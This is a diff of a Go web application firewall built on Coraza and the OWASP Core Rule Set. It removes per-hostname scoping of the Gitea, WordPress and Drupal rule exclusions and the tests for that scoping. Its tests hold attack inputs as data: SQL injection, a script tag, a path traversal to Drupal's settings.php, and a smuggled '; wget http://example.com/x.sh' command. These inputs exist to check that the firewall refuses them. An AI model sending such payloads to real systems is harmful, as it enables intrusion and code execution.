type Params struct {
|
type Params struct {
|
||||||
@@ -212,10 +226,6 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
|
|
||||||
// apps only, or of every app while Apps is nil.
|
|
||||||
Apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -307,15 +317,13 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the six changes and the apps' fixes,
|
// New returns the Core Rule Set with the eleven changes, at params'
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// request bodies up to params' limit, and with params' exclusions file
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||||
// it.
|
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -338,13 +346,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var fixes strings.Builder
|
|
||||||
for _, name := range AppNames() {
|
|
||||||
fixes.WriteString(apps[name].directives + "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
fixes.String())
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
|
mediawikiExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -362,9 +366,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||||
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
|
|
||||||
}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -376,12 +378,11 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client, with the
|
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||||
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
// method, its URL with the query, and its headers, the Cookie header
|
||||||
// with the query, and its headers, the Cookie header without those apps'
|
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||||
// cookies, and on body, r's body as the caller has it, as readBody reads
|
// caller has it, as readBody reads it. It returns what it found, what it
|
||||||
// it. It returns what it found, what it read of body, and the error that
|
// read of body, and the error that ended the reading early, if one did.
|
||||||
// ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -389,24 +390,13 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
// The transaction's variables are set only through Coraza's interface
|
|
||||||
// for plugins.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
var cookiesNotRead []string
|
|
||||||
|
|
||||||
for _, name := range c.appsFor(r.Host) {
|
|
||||||
state.Variables().TX().Set("app_"+name, []string{"1"})
|
|
||||||
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookies(value, cookiesNotRead)
|
value = withoutCookiesNotRead(value)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -499,26 +489,9 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// appsFor returns the names of the apps whose fixes a request for host,
|
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||||
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
// cookies in cookiesNotRead.
|
||||||
// those SWW_APPS lists for host's name, without the port and in
|
func withoutCookiesNotRead(value string) string {
|
||||||
// lowercase.
|
|
||||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
|
||||||
if c.apps == nil {
|
|
||||||
return AppNames()
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname, _, err := net.SplitHostPort(host)
|
|
||||||
if err != nil {
|
|
||||||
hostname = host // it has no port
|
|
||||||
}
|
|
||||||
|
|
||||||
return c.apps[strings.ToLower(hostname)]
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutCookies returns value, a Cookie header's, without the cookies
|
|
||||||
// named in cookiesNotRead.
|
|
||||||
func withoutCookies(value string, cookiesNotRead []string) string {
|
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
@@ -36,14 +36,12 @@ var loaded = struct {
|
|||||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||||
|
|
||||||
// loaderFor returns the function that loads the Core Rule Set with params
|
// loaderFor returns the function that loads the Core Rule Set with params
|
||||||
// once, making it the first time params are asked for. %#v writes a nil
|
// once, making it the first time params are asked for.
|
||||||
// Apps, which gives every app's fixes, apart from an empty one, which
|
|
||||||
// gives none.
|
|
||||||
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
||||||
loaded.Lock()
|
loaded.Lock()
|
||||||
defer loaded.Unlock()
|
defer loaded.Unlock()
|
||||||
|
|
||||||
settings := fmt.Sprintf("%#v", params)
|
settings := fmt.Sprintf("%+v", params)
|
||||||
|
|
||||||
load, found := loaded.loaders[settings]
|
load, found := loaded.loaders[settings]
|
||||||
if !found {
|
if !found {
|
||||||
@@ -204,8 +202,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// six changes or an app's fixes are for, and still finds result in
|
// eleven changes is for, and still finds result in refused, a request like
|
||||||
// refused, a request like it that they are not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
result coreruleset.Result,
|
result coreruleset.Result,
|
||||||
@@ -466,123 +464,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|||||||
matched(930120, 932160))
|
matched(930120, 932160))
|
||||||
}
|
}
|
||||||
|
|
||||||
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
|
||||||
// for each kind of fix, each with what the Core Rule Set finds in it
|
|
||||||
// without them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaFixed = []struct {
|
|
||||||
request request
|
|
||||||
result coreruleset.Result
|
|
||||||
}{
|
|
||||||
// A search of code, on the path of gitea's search.
|
|
||||||
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
|
|
||||||
// A file name, in a parameter gitea sends names in, on any path.
|
|
||||||
{get("/?path=.gitignore"), matched(930120)},
|
|
||||||
// A file name, in a cookie of gitea's.
|
|
||||||
{
|
|
||||||
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
|
||||||
matched(930120),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
|
||||||
// one that serves another app.
|
|
||||||
const (
|
|
||||||
giteaHost = "git.example"
|
|
||||||
otherHost = "blog.example"
|
|
||||||
)
|
|
||||||
|
|
||||||
// gitea is gitea's name in SWW_APPS.
|
|
||||||
const gitea = "gitea"
|
|
||||||
|
|
||||||
// wordpress is WordPress's name in SWW_APPS.
|
|
||||||
const wordpress = "wordpress"
|
|
||||||
|
|
||||||
// withHost returns r sent to host.
|
|
||||||
func withHost(r request, host string) request {
|
|
||||||
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
|
|
||||||
}
|
|
||||||
|
|
||||||
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
|
||||||
// giving apps.
|
|
||||||
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, nil)
|
|
||||||
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
for _, host := range []string{giteaHost, otherHost} {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
|
||||||
|
|
||||||
// The hostname is matched without the port and without regard to case.
|
|
||||||
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, apps := range []map[string][]string{
|
|
||||||
{giteaHost: {gitea}},
|
|
||||||
// SWW_APPS set empty lists no hostname.
|
|
||||||
{},
|
|
||||||
} {
|
|
||||||
crs := servingApps(t, apps)
|
|
||||||
|
|
||||||
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only WordPress's fixes let through.
|
|
||||||
search := get("/?s=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
|
||||||
|
|
||||||
// A file name that only gitea's fixes let through, and a search that only
|
|
||||||
// WordPress's fixes let through.
|
|
||||||
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
|
||||||
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||||
// exclusions file at path.
|
// exclusions file at path.
|
||||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||||
@@ -738,16 +619,15 @@ const (
|
|||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused by defaults, which
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// reads no body, or by bodies, which reads it. Each request runs as its
|
// while bodies are read. Each request runs as its own parallel subtest.
|
||||||
// own parallel subtest.
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
func wantRecordedRequestsPass(
|
|
||||||
t *testing.T, name string, defaults, bodies *coreruleset.CoreRuleSet,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, name) {
|
for _, recorded := range recordedRequests(t, name) {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -794,25 +674,6 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// gitea has no owner named api, so these are not a repository's search,
|
|
||||||
// issues or pull requests. /api/v2/search is Mastodon's search.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/api/v2/search",
|
|
||||||
"/api/v2/issues",
|
|
||||||
"/api/v2/pulls",
|
|
||||||
} {
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection,
|
|
||||||
scriptInjection,
|
|
||||||
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
|
||||||
} {
|
|
||||||
target := path + "?q=" + attack
|
|
||||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||||
@@ -930,16 +791,13 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
// requests pass defaults, which reads no body, and that those with a body
|
t.Parallel()
|
||||||
// pass bodies, which reads it.
|
|
||||||
func wantWordPressRequestsPass(
|
|
||||||
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -959,16 +817,6 @@ func wantWordPressRequestsPass(
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
|
||||||
|
|
||||||
wantWordPressRequestsPass(t, defaults, bodies)
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -1045,20 +893,6 @@ func wordpressWords() []struct {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestHostnameListingWordPressLetsItsRecordedRequestsThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The requests were recorded on otherHost.
|
|
||||||
apps := map[string][]string{otherHost: {wordpress}}
|
|
||||||
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
||||||
Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
wantWordPressRequestsPass(t, servingApps(t, apps), bodies)
|
|
||||||
}
|
|
||||||
|
|
||||||
// wordpressBlock is the comment that starts every block of WordPress's
|
// wordpressBlock is the comment that starts every block of WordPress's
|
||||||
// HTML, which rule 941180 matches.
|
// HTML, which rule 941180 matches.
|
||||||
const wordpressBlock = "<!-- wp:paragraph -->"
|
const wordpressBlock = "<!-- wp:paragraph -->"
|
||||||
@@ -1523,9 +1357,6 @@ const (
|
|||||||
// injection is an SQL injection, which rule 942100 matches.
|
// injection is an SQL injection, which rule 942100 matches.
|
||||||
const injection = "1' OR '1'='1"
|
const injection = "1' OR '1'='1"
|
||||||
|
|
||||||
// scriptTag is a script injection, not escaped.
|
|
||||||
const scriptTag = "<script>alert(1)</script>"
|
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,13 +25,6 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_drupal when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_drupal itself.
|
|
||||||
SecRule &TX:app_drupal "@eq 0" \
|
|
||||||
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -225,24 +218,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
|
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
|
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
|
||||||
|
|
||||||
# A client resetting a password in Drupal's JSON format sends the account in
|
|
||||||
# the JSON field name: POST /user/password?_format=json with a name of python3.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|
||||||
"id:900817,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
||||||
|
|
||||||
# The same reset may name the account by its address in the JSON field mail:
|
|
||||||
# POST /user/password?_format=json with a mail of python3@example.com. An
|
|
||||||
# address skips only the two rules the recorded addresses set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|
||||||
"id:900818,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
|
||||||
|
|
||||||
SecMarker END_DRUPAL
|
|
||||||
@@ -5,8 +5,6 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -21,9 +19,6 @@ const drupalSignIn = "/user/login"
|
|||||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||||
const drupalJSONSignIn = "/user/login?_format=json"
|
const drupalJSONSignIn = "/user/login?_format=json"
|
||||||
|
|
||||||
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
|
||||||
const drupalJSONPasswordReset = "/user/password?_format=json"
|
|
||||||
|
|
||||||
// drupalTagForm is Drupal's form for a new tag.
|
// drupalTagForm is Drupal's form for a new tag.
|
||||||
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
||||||
|
|
||||||
@@ -36,35 +31,7 @@ const drupalName = "name="
|
|||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt", atDefaults(t), readingBodies(t))
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"drupal"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Drupal's fixes let through.
|
|
||||||
search := get("/search?keys=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingDrupalLetsItsRecordedRequestsThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The requests were recorded on example.com.
|
|
||||||
apps := map[string][]string{"example.com": {"drupal"}}
|
|
||||||
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt", servingApps(t, apps), bodies)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
@@ -161,8 +128,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
injection,
|
`1' OR '1'='1`,
|
||||||
scriptTag,
|
`<script>alert(1)</script>`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
@@ -202,47 +169,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
injection,
|
|
||||||
scriptTag,
|
|
||||||
`; wget http://example.com/x.sh`,
|
|
||||||
`../../sites/default/settings.php`,
|
|
||||||
} {
|
|
||||||
for _, field := range []string{"name", "mail"} {
|
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
|
||||||
if got.Score < drupalThreshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// An address keeps 932250, which refuses ls -la, and 930120, which
|
|
||||||
// refuses system file names.
|
|
||||||
for _, kept := range []struct {
|
|
||||||
value string
|
|
||||||
rule int
|
|
||||||
}{
|
|
||||||
{"ls -la", 932250},
|
|
||||||
{".htaccess@example.com", 930120},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
||||||
body := `{"mail":"` + kept.value + `"}`
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
|
||||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||||
// on the fields that skip the other command rules, as a query value.
|
// on the fields that skip the other command rules, as a query value.
|
||||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -398,24 +324,6 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
